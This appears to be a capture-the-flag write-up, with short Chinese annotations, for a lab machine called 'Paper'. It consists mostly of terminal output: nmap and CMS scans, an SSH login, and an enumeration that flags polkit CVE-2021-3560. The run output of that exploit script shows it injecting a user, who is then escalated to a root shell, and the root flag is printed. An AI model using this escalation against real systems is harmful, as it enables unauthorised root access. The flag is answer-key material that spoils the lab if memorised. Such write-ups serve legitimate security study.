❯ nmap 10.10.11.143 Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-17 12:21 +0800 Nmap scan report for 10.10.11.143 (10.10.11.143) Host is up (0.44s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
❯ nmap -sCV 10.10.11.143 Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-17 12:28 +0800 Nmap scan report for 10.10.11.143 (10.10.11.143) Host is up (0.30s latency). Not shown: 995 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 5225/tcp filtered hp-server 9290/tcp filtered unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 126.43 seconds
[12:39:38] [*] Check whether the payload file exists [12:39:38] [*] All Payload 18780 duplicate removal 6935 [12:39:38] [+] Payload load the success [12:39:38] [*] CMS recognition of http://office.paper in progress [12:39:38] [*] Scanning by MD5 mode...... [12:39:41] [*] MD5: 85/3725 [12:39:41] [+] Using MD5 to discover the CMS in path /wp-admin/images/wordpress-logo.png: wordpress [12:40:38] [*] MD5: 1784/3725 [12:40:38] [+] Using MD5 to discover the CMS in path /wp-includes/js/jcrop/Jcrop.gif: WORDPRESS
❯ ssh dwight@10.10.11.143 The authenticity of host '10.10.11.143 (10.10.11.143)' can't be established. ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.143' (ED25519) to the list of known hosts. dwight@10.10.11.143's password: Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23 [dwight@paper ~]$
至此成功连上SSH 拿到flag
Shell as root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ ssh dwight@10.10.11.143 dwight@10.10.11.143's password: Activate the web console with: systemctl enable --now cockpit.socket
Last login: Wed Sep 17 06:39:13 2025 from 10.10.16.2 [dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for dwight: Sorry, user dwight may not run sudo on paper.
╔════════════════════╗ ════════════════════════════════════════╣ System Information ╠════════════════════════════════════════ ╚════════════════════╝ ╔══════════╣ Operative system ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits Linux version 4.18.0-348.7.1.el8_5.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-4) (GCC)) #1 SMP Wed Dec 22 13:25:12 UTC 2021 lsb_release Not Found
╔══════════╣ Sudo version ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version Sudo version 1.8.29
╔══════════╣ CVEs Check Vulnerable to CVE-2021-3560
[!] Username set as : secnigma [!] No Custom Timing specified. [!] Timing will be detected Automatically [!] Force flag not set. [!] Vulnerability checking is ENABLED! [!] Starting Vulnerability Checks... [!] Checking distribution... [!] Detected Linux distribution as "centos" [!] Checking if Accountsservice and Gnome-Control-Center is installed [+] Accounts service and Gnome-Control-Center Installation Found!! [!] Checking if polkit version is vulnerable [+] Polkit version appears to be vulnerable!! [!] Starting exploit... [!] Inserting Username secnigma... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required [+] Inserted Username secnigma with UID 1005! [!] Inserting password hash... [!] It looks like the password insertion was succesful! [!] Try to login as the injected user using su - secnigma [!] When prompted for password, enter your password [!] If the username is inserted, but the login fails; try running the exploit again. [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell! [dwight@paper ~]$ su - secnigma Password: [secnigma@paper ~]$ sudo bash [sudo] password for secnigma: [root@paper secnigma]# cat /root/root.txt 1cffe7d878909bf7f9dd79032d883e68
